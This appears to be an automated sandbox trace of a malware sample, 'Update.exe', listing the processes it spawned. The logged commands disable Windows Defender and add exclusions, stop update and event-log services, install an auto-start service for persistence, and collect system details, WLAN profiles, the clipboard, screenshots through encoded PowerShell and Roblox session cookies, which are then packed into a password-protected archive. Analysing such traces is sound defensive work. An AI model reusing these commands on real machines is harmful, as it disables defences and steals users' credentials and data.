Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Users\user\AppData\Local\Temp\bound.exe Process created: C:\Users\user\AppData\Local\Temp\lf6o4T3T.exe "C:\Users\user\AppData\Local\Temp\lf6o4T3T.exe"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Users\user\AppData\Local\Temp\Build.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\wbem\WMIC.exe WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-Clipboard
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "systeminfo"
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIA
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\yidhhzbx\yidhhzbx.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES8576.tmp" "c:\Users\user\AppData\Local\Temp\yidhhzbx\CSCA27ED749AA364CCD94BFD566BA81531.TMP"
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "getmac"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\getmac.exe getmac
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Build.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Users\user\AppData\Local\Temp\Build.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Users\user\AppData\Local\Temp\Build.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc
Source: C:\Users\user\AppData\Local\Temp\Build.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv
Source: C:\Users\user\AppData\Local\Temp\Build.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits
Source: C:\Windows\System32\sc.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Build.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc
Source: C:\Windows\System32\sc.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Build.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "JLDYOGXF"
Source: C:\Windows\System32\sc.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Users\user\AppData\Local\Temp\Build.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "JLDYOGXF" binpath= "C:\ProgramData\bmqxekewprir\nfblozsybbjy.exe" start= "auto"
Source: C:\Windows\System32\sc.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Build.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlog
Source: C:\Users\user\AppData\Local\Temp\Build.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "JLDYOGXF"
Source: C:\Windows\System32\sc.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown Process created: C:\ProgramData\bmqxekewprir\nfblozsybbjy.exe C:\ProgramData\bmqxekewprir\nfblozsybbjy.exe
Source: C:\ProgramData\bmqxekewprir\nfblozsybbjy.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\bmqxekewprir\nfblozsybbjy.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\ProgramData\bmqxekewprir\nfblozsybbjy.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\ProgramData\bmqxekewprir\nfblozsybbjy.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc
Source: C:\Windows\System32\sc.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\bmqxekewprir\nfblozsybbjy.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv
Source: C:\Windows\System32\sc.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\bmqxekewprir\nfblozsybbjy.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits
Source: C:\Windows\System32\sc.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\bmqxekewprir\nfblozsybbjy.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\bmqxekewprir\nfblozsybbjy.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe
Source: C:\ProgramData\bmqxekewprir\nfblozsybbjy.exe Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI68522\rar.exe a -r -hp"dextycraxscloud" "C:\Users\user\AppData\Local\Temp\dRGk3.zip" *"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Users\user\Desktop\Update.exe "C:\Users\user\Desktop\Update.exe" Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\Update.exe'" Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All" Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\bound.exe'" Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "start bound.exe" Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ? ?.scr'" Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName" Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard" Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F" Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile" Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "systeminfo" Jump to behavior
Source: C:\Users\user\Desktop\Update.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH